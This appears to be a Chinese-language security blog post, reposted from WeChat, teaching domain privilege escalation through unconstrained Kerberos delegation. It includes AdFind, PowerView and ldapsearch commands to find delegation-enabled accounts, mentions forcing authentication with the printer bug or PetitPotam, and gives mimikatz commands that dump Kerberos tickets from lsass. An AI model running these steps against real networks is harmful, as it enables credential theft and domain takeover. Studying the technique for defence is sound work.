域渗透-非约束委派

admin 2022年5月13日21:42:02评论39 views字数 1945阅读6分29秒阅读模式
域渗透-非约束委派
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


委派

域委派是指域内用户将自身权限委派给服务账号或机器账号,让该账号能以该用户权限进行域内活动。
在域内只有服务账号机器账号具有委派属性。

服务账号(Service Account)是域用户的一种类型,是运行某些服务时所使用的账户。比如MSSQL运行时的账户,也可以将域用户通过注册SPN变为服务账号
机器账号(主机账户)是Domain computer组内的成员(一个普通域用户默认最多可以创建十个主机账号)

委派主要分为三类:
⾮约束委派(Unconstrained delegation)
约束委派(Constrained Delegation)
基于资 源的约束委派(Resource Based Constrained Delegation)

委派前提
需要委派的用户未设置不允许被委派属性。

域渗透-非约束委派



非约束委派

服务账户可以获取被委派用户的TGT,并将该TGT缓存到服务账户所在主机的lsass进程中,此时服务账户就可以使用该TGT访问任意服务,相当于拥有了该域用户的所有权限。

前提:服务账户或机器账户开启了委派功能,并且没有被约束可以访问的服务

域渗透-非约束委派

userAccountControl属性会包含TRUSTED_FOR_DELEGATION

域渗透-非约束委派


攻击原理:当某个用户A访问机器B的某个服务时,会向KDC发起认证,KDC检查机器B的属性发现是非约束委派,KDC会将用户A的TGT放在ST服务票据中,此时用户A会将TGT和ST一同发给机器B,机器B验证ST后会获得用户A的TGT,并存储在机器B主机的lsass进程中,从而获取用户A的权限
利用角度来说我们需要控制机器B,诱导管理员权限用户访问机器B,从而获取管理员权限的TGT。

1、使用AdFind
AdFind [switches] [-b basedn] [-f filter] [attr list]
查询域内非约束委派用户
AdFind.exe -b "DC=testdc,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
查询域内非约束委派主机
AdFind.exe -b "DC=testdc,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

2、也可以使用PowerSploit的PowerView脚本
Import-Module ./PowerView.ps1;
查询域中配置非约束委派的账户
Get-NetUser -Unconstrained -Domain testdc.com | select name
查询域中配置非约束委派的主机
Get-NetComputer -Unconstrained -Domain testdc.com | select nam

3、可以在域外使用ldapsearch
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://10.10.10.5:389 -D "CN=administrator,CN=Users,DC=testdc,DC=com" -w admin!@45 -b"DC=testdc,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
查找域中配置非约束委派的主机
ldapsearch -x -H ldap://10.10.10.5:389 -D "CN=administrator,CN=Users,DC=testdc,DC=com" -w admin!@45 -b"DC=testdc,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

然后想方设法拿到⼀个开启⾮约束委派的域⽤户或主机账户权限,提取所有访问过该机器的⽤户票据
也可以利⽤打印机漏洞或者PetitPotam强制域控访问我们,提取域管的凭据
mimikatz提取凭据privilege::debug;sekurlsa::tickets /export;
然后将票据导入内存就可以拥有域管权限了。

原文始发于微信公众号(XG小刚):域渗透-非约束委派

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日21:42:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透-非约束委派http://cn-sec.com/archives/1005493.html

发表评论

匿名网友 填写信息